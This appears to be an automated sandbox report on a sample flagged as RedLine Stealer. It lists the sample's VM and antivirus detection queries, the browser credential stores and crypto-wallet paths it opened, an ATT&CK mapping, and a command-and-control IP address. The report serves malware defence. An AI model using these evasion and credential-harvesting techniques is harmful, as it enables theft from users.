Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Memory allocated: 830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Memory allocated: 23A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Memory allocated: 43A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Window / User API: threadDelayed 1777			Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Window / User API: threadDelayed 7446			Jump to behavior

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe TID: 5676	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe TID: 4960	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe TID: 2364	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1768230385.0000000000613000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1768230385.0000000000613000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlld

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1808208654.0000000006FD7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, type: SAMPLE
Source: Yara match	File source: 0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe PID: 4564, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxxLiberty
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\wallets
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum\lm
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, type: SAMPLE
Source: Yara match	File source: 0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe PID: 4564, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, type: SAMPLE
Source: Yara match	File source: 0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe PID: 4564, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	3 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	79%	Virustotal		Browse
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	100%	Avira	HEUR/AGEN.1305500
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
api.ip.sb	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://ipinfo.io/ip%appdata%	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
https://api.ip.sb	0%	URL Reputation	safe
https://api.ip.sb/geoip	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
94.156.8.28:65012	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	1%	Virustotal		Browse
http://94.156.8.28:65012/	1%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnect	2%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettings	2%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnectResponse	1%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
94.156.8.28:65012	1%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://94.156.8.28:65012/	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnviron	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://94.156.8.28:65012t-	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
http://94.156.8.28:65012	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnviron	1%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnvironment	1%	Virustotal		Browse
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://94.156.8.28:65012	1%	Virustotal		Browse
http://94.156.8.28:6	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdatesResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdates	1%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	1%	Virustotal		Browse
http://94.156.8.28:6	1%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdate	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
94.156.8.28:65012	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://94.156.8.28:65012/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000024EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023F0000.00000004.00000800.00020000.00000000.sdmp, 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	false	URL Reputation: safe	unknown
https://api.ip.sb	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
